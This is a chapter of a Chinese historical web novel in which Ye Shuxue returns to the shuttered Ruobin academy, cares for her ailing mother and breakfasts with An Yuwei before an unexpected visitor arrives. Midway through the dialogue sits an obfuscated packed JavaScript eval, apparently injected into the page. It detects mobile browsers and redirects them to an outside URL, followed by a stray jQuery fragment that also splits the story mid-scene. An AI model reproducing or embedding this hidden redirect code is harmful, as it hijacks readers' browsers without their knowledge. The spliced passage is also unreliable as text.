水之岸有山麓,山河交界之处,地势微隆,山势不高,却如屏风般拢住一片清幽。山脚沿水而生一片竹林,竹色深碧,枝叶繁茂。
身处其中,虽仍是宁都地界,却仿佛与城中尘嚣隔了一重山水。
林尽处,地势豁然开朗。有一宽敞的低院静静伫立。
虽牌匾早已卸下,门额空悬,但宁都之人提起此处,仍无人不知。这就是:箬滨书院。
“玉薇姐,”叶书雪开了这低院的门,轻声叫了叫在门前石阶上半倚着的女子,“怎么睡在这里了?”
叶书雪忙搀起她,帮她掸了掸衣服上的尘,将自己的披风披在她身上。
“书雪你回来了,”那女子睡的很浅,握着她的手,“我这不是估摸着你大约是昨日夜里回来,或者是在城南宿一夜,今晨回来。”
“本想着昨夜等到子时便不等了,没想到在这睡着了。”
“你该是赶第一班船回来的吧,真是辛苦。”
她看见叶书雪疲惫的神色,亲昵地抚着她的鬓发。
当年父亲开箬滨书院,男女皆收,许多与父亲交好的朝臣不仅把儿子送入书院读书,也将女儿送入书院,愿她们也能知书明理,未来能自己做自己的依靠。
安家玉薇姐姐,便是其中的一位。
叶书雪几乎是亲眼见证了兄长和安家玉薇姐姐在一次次学问辩论、古文探讨中逐渐生出了感情。当年,兄长与玉薇姐的婚事几乎是要定下来,马上就要下聘提亲了,叶家却遭了那场劫难。
而后与父亲交好的朝臣或也受了牵连,或像安玉薇的父亲一样,对朝廷灰心主动辞官罢爵,与叶家逐渐也少了来往。
叶书雪的母亲也因那件事常年卧病在床。安玉薇听闻后于心不忍,便进入箬滨书院,帮助当时才十三岁的叶书雪操持一应家务,箬滨书院如今才得以保持体面。
“玉薇姐,是你辛苦了。”叶书雪望着安玉薇发间隐约可见的几丝白发。
当年议亲时她也不过是十七八岁的少女,如今也不过二十三岁,只因这一份情深义重,不知平添了多少风霜。
“我去命人做些早饭,你先去睡会儿,以后可千万千万别等我一夜了。”
叶书雪将安玉薇送到房间,看着她卧在榻上后,才安心出了她的房间。
那件事之后,家中的下人,能遣散的尽数遣散了,只余下五六人,或是母亲的陪嫁,或是无他处可去的忠心侍从,在书院里帮着维持日常起居。
早饭做好后,叶书雪有意让玉薇姐多睡一会儿,便先去侍奉母亲,为她端送汤药和饮食。
叶母卧病在床已有五年。这五年间,叶书雪几乎寻遍宁都名医,然而药方换了一张又一张,终究只是延缓病势,并无根治之法。她知道,母亲的病,多半是心伤。
推门入内时,屋中常年飘散的药香微苦。从那件事后,叶书雪关于母亲的记忆,多带着这满屋的药香。窗下的竹影被风吹得微微摇动,斑驳落在床帐之上。
“母亲,书雪回来了。”
她走到榻前,轻轻扶起面色仍显得苍白的母亲,将汤药端在手中,小心吹了吹,待温度稍凉,才一勺一勺喂入母亲口中。
叶母饮了几口,用力地抬了眸,目光落在她脸上,忽然轻轻叹了口气。
“簌簌儿,好孩子,”叶母看着叶书雪有些发乌的眼底,“昨夜酒席可是同僚难为你了?还是又有难教的学生?”
她伸手抚了抚叶书雪的脸。
“母亲,”叶书雪轻轻靠了靠叶母的肩头,“都没有的。”
她在母亲面前,语气轻柔得像个撒娇的小孩子。
她低垂着眼眸,看着摇曳的竹影如淡墨般扩散在洁净的晨光里,不自觉想起那封在灯影中翻飞、被她焚尽的信。
不仅没有难教的学生,反而,对于那个她不知该如何对待的人,在昨夜之后,她反而有些确定了。
“我一切都好,您都放心。”
——————————
侍奉完母亲后,叶书雪又往安玉薇房中去。
她怕打扰安玉薇休息,蹑手蹑脚地进门时,屋内已点了小炉,粥香淡淡。安玉薇此时已经醒了,正坐在桌旁,等她吃饭。
桌上不过几样简单吃食:一盏清粥,一碟咸笋,一碟豆干小菜,一盘新蒸的小馒头,一碗热腾腾的鸡蛋羹,都是书院厨房里寻常做的清淡饭食,甚至与五年前十年前的无甚区别。
叶书雪在她对面坐下,替她添了碗粥。
二人便静静地吃着早饭。
正好的阳光透过竹林的缝隙洒满整个房间。书院的院墙低些,不似宫中动辄数人高的高墙,晨光也能自在落满庭院。
叶书雪夹了一块咸笋。春日竹林多笋,书院里的厨者每年都会多采些腌下,留作一年慢慢食用。她咬了一口,味道依旧,是这些年来从未变过的。
她也给玉薇姐夹了块小笋。目光起伏间,就这样望着安玉薇。她身着一身淡青色衣裙——那是叶书雪兄长生前最喜欢的颜色,发间只用一支素银簪挽着。
叶书雪想起当年书院里的安家姐姐。那时的安玉薇,是户部侍郎家的掌上明珠,最喜艳色,性情爽朗,与人辩论起学问来更是分毫不让,孜孜不倦,不知将多少公子都辩得累趴下了。
如今坐在她面前的,却成了一个事事淡然、眉眼温静的恬淡女子。
“你这样望着我,”安玉薇夹了片豆干到叶书雪碗中,“是不认得你玉薇姐了?”
“怎么会,”叶书雪回过神来,“我是在想,安伯父在扬州可还好吗?”
当年安老侍郎在誉王之乱被“平定”后,毅然辞官,回了扬州老家。安玉薇执意留在宁都,安老侍郎虽也心疼女儿,却也理解她对叶书雪兄长的情谊,便默许了。
起初叶书雪也如安伯父的想法一样,玉薇姐对她、对书院,是爱屋及乌了。后来才在这日复一日的帮衬中,知道自己忽视了,她本就是这样好的一个人。
“父亲他一切都好,扬州的日子,比宁都安定轻松得多。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450354|201171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安玉薇坦然说道。
“他也记挂着你,信中说叶伯父当年在扬州也有些产业,是由他代理的。”
“若你哪天想离开宁都,扬州也是好去处。”
扬州,当然是好去处。
山好水好,百姓生活富足,又有安伯父这老相识照应,且玉薇姐又可以和家人团圆。
可这宁都城中的事,终还是绊住了她的脚。
“谢谢伯父。这些年,也多谢你,玉薇姐。”叶书雪当下只能这样说,伸手轻轻握住了安玉薇的手。
“簌簌儿,你总说这样的话,”安玉薇反过来握住叶书雪的手,“那我也要说句我总说的话。”
“不必谢。在箬滨书院,无论是从前还是这些年,都是我最珍惜的日子。”
两人对视,又都笑了起来。眉眼在阳光下舒展开来,就像是还在当年,什么都没发生过的模样。
叶书雪知道,自己在心底,其实是依赖玉薇姐的。内书房里的事,朝堂上的事,安玉薇从不追问,只安安静静等她回来;那些旧日的回忆,安伯父给她的建议,她毫不避讳、毫无遮掩地提起——她如今的恬淡,是有种雨过天晴后的大智慧的,也是将叶书雪当成了真正的家人。
而叶书雪在这世上,能在生活中有所依赖的亲人,目前恐怕只有她母亲和玉薇姐了。
“好了,从前你兄长无论在讲室里,还是平日里,处处都要压我一头,”安玉薇提起叶书诚时,语气中总还有几分不易察觉的幸福感。
她看着叶书雪,“他应该想不到,今日论到我管着他的亲妹妹了。”
她轻轻拍了拍叶书雪的手背,再笑了笑。
“快回房里补眠吧。”
“好,都听玉薇姐的。”
叶书雪也再笑了笑。
正要走出安玉薇房门时,忽有下人匆匆从院外过来,在门前站定,拱手道:“姑娘,书院门前来了位小郎君,说是要见安家姑娘。”
叶书雪有些惊讶。
箬滨书院自卸匾之后,已少有人来,几乎不见外客。一年之中或许有一次半次旧日学生或故友来叙旧,往往也是先递帖子,不会临时前来的。
如今却有一位小郎君直接找上门来,还不是要找叶家人,而是要找安家姑娘。
叶书雪转过头,望向安玉薇。
安玉薇微微敛了神色,她似乎在心中思量着什么,目光落在院门方向,眉间掠过一丝不易察觉的沉思。
过了片刻,安玉薇才像是想定了什么。
她走到叶书雪面前,声音不高,却带着几分郑重:“簌簌儿,我本意是让你快去休息的,可……”她顿了顿,“如今恐怕却要劳烦你陪我走这一趟。”
“这人……”叶书雪本想问这人是谁,话说了一半却又觉得没必要问了,“无妨,我陪你。”
于是两人并肩走向院门。
竹林间的石径已被阳光照得明亮,此时已近晌午了。
而门外,那位来访的小郎君,正立在竹影之间。